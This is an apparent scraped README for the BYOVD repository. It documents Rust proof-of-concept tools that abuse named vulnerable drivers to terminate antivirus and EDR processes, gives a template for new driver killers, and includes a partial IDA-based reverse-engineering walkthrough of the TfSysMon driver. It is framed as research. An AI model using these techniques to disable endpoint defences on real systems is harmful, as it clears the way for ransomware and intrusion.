BYOVD
BYOVD research use cases featuring vulnerable driver discovery and reverse engineering methodology. (CVE-2025-52915, CVE-2025-1055,).
Install / Use
/learn @BlackSnufkin/BYOVDREADME
BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions.
The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules.
Since its initial discovery, the TfSysMon driver has been added to LOLDrivers and abused by ransomware groups using the EDRKillShifter tool, as reported by Sophos & ESET
📚 Table of Contents
- 🔍 Overview
- 🏗️ Project Structure
- 🔧 Building
- 📦 byovd-lib
- 💡 POCs
- 🔬 Complete Driver Reverse Engineering Process (x64)
- 🔗 References
- ⚠️ Disclaimer
🔍 Overview
The BYOVD technique has recently gained popularity in offensive security, particularly with the release of tools such as SpyBoy's Terminator (sold for $3,000) and the ZeroMemoryEx Blackout project. These tools capitalize on vulnerable drivers to disable AV/EDR agents, facilitating further attacks by reducing detection.
This repository contains several PoCs developed for educational purposes, helping researchers understand how these drivers can be abused to terminate processes.
🏗️ Project Structure
The project is organized as a Rust Cargo workspace. All PoCs share a common library (byovd-lib) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration.
BYOVD/
├── Cargo.toml # Workspace root
├── byovd-lib/ # Shared library
│ └── src/lib.rs
├── BdApiUtil-Killer/ # Uses byovd-lib
├── CcProtectt-Killer/ # Uses byovd-lib
├── GameDriverX64-Killer/ # Uses byovd-lib
├── K7Terminator/ # Standalone (LPE + BYOVD modes)
├── Ksapi64-Killer/ # Uses byovd-lib
├── NSec-Killer/ # Uses byovd-lib
├── STProcessMonitor-Killer/ # Uses byovd-lib (combined v114 + v2618)
├── TfSysMon-Killer/ # Uses byovd-lib
├── Viragt64-Killer/ # Uses byovd-lib
└── Wsftprm-Killer/ # Uses byovd-lib
🔧 Building
Prerequisites: Rust toolchain and Visual Studio Build Tools with the Windows SDK.
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
Binaries are output to target/release/. Copy the corresponding .sys driver file into the same directory as the executable before running.
📦 byovd-lib
byovd-lib is the shared library that all PoCs (except K7Terminator) are built on. It provides:
DriverConfigtrait -- each PoC implements this to define its driver name,.sysfilename, device path, IOCTL code, and input buffer format.DriverManager-- RAII-based service lifecycle management (create, start, stop, delete).ServiceHandle/FileHandle-- RAII wrappers that auto-close Windows handles on drop.send_ioctl()-- opens the driver device and dispatches the kill IOCTL.run_monitor()-- continuously scans for the target process by name and sends the kill IOCTL when found (Ctrl+C to stop).run()-- the full BYOVD flow: preflight checks, load driver, monitor & kill, cleanup.- Helpers --
get_pid_by_name(),ensure_running_as_local_system(),to_wstring().
Adding a new driver PoC is straightforward -- implement the trait and call byovd_lib::run():
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
Optional trait overrides with their defaults:
| Method | Default | Purpose |
|---|---|---|
| device_access() | SERVICE_ALL_ACCESS | CreateFileW access flags |
| skip_unload() | false | Skip driver cleanup (e.g., drivers that BSOD on unload) |
| ignore_ioctl_error() | false | Treat IOCTL failure as success (e.g., NSecKrnl) |
| ioctl_output_size() | 0 | Expected output buffer size |
| preflight_check() | Ok(()) | Pre-launch validation (e.g., LocalSystem check) |
💡 POCs
Below are the drivers and their respective PoCs available in this repository:
- BdApiUtil-Killer: Targets
BdApiUtil64.sysfromBaidu AntiVirus(CVE-2024-51324). - CcProtect-Killer: Targets
CcProtect.sysfromCnCrypt. - K7Terminator: Targets
K7RKScan.sysfromK7 Computing(CVE-2025-52915, CVE-2025-1055) -- Full write-up. - Ksapi64-Killer: Targets
ksapi64.sys/ksapi64_del.sysfromKingsoft Corporation. - NSec-Killer: Targets
NSecKrnl.sysfromNSEC(ValleyRAT BYOVD reproduction). - STProcessMonitor-Killer: Targets
STProcessMonitor.sysfromSafetica(CVE-2025-70795, supports v11.11.4 and v11.26.18). - TfSysMon-Killer: Targets
sysmon.sysfromThreatFire System Monitor. - Viragt64-Killer: Targets
viragt64.sysfromTg Soft. - Wsftprm-Killer: Targets
wsftprm.sysfromTopaz Antifraud(CVE-2023-52271).
🔬 Complete Driver Reverse Engineering Process (x64)
This section demonstrates the complete A-Z reverse engineering methodology using the TfSysMon driver as a practical example. This process applies to any x64 Windows kernel driver analysis.
🎯 Step 0: Pre-Analysis - Function Import Screening
Check driver imports before starting reverse engineering.
A basic process killer driver requires 2 things:
a way to get a handle on a process (for instance ZwOpenProcess or NtOpenProcess)
a way to terminate the process (for instance ZwTerminateProcess or NtTerminateProcess)
Check if a driver imports both function types. If a driver has in its imported functions Nt/ZwOpenProcess AND Nt/ZwTerminateProcess then it's a potential process killer driver candidate.
Only after confirming these imports should you proceed to detailed reverse engineering in IDA Pro.
🛠️ Prerequisites for x64 Driver Analysis
Required Tools:
- IDA Pro - for disassembling the driver for static analysis
- OSRLoader - for loading/running the driver (alternative to sc.exe command)
📍 Step 1: Locate and Analyze DriverEntry
Every Windows driver starts with DriverEntry - find this function first:
In TfSysMon, the DriverEntry looks like this:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
unsigned __int64 v2; // rax
v2 = BugCheckParameter2;
if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL )
{
v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL;
if ( !v2 )
v2 = 0x2B992DDFA232LL;
BugCheckParameter2 = v2;
}
BugCheckParameter3 = ~v2;
return sub_17484(DriverObject);
}
Analysis Notes:
- The code performs some initialization with BugCheckParameter2 and BugCheckParameter3
- The real driver initialization happens in
sub_17484 - Follow the call to
sub_17484(DriverObject)- this is where actual driver setup occurs
📍 Step 2: Follow Driver Initialization Chain
Navigate to the initialization function (sub_17484):
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &De
Related Skills
himalaya
347.2kCLI to manage emails via IMAP/SMTP. Use `himalaya` to list, read, write, reply, forward, search, and organize emails from the terminal. Supports multiple accounts and message composition with MML (MIME Meta Language).
node-connect
347.2kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
taskflow
347.2kname: taskflow description: Use when work should span one or more detached tasks but still behave like one job with a single owner context. TaskFlow is the durable flow substrate under authoring layer
frontend-design
108.0kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
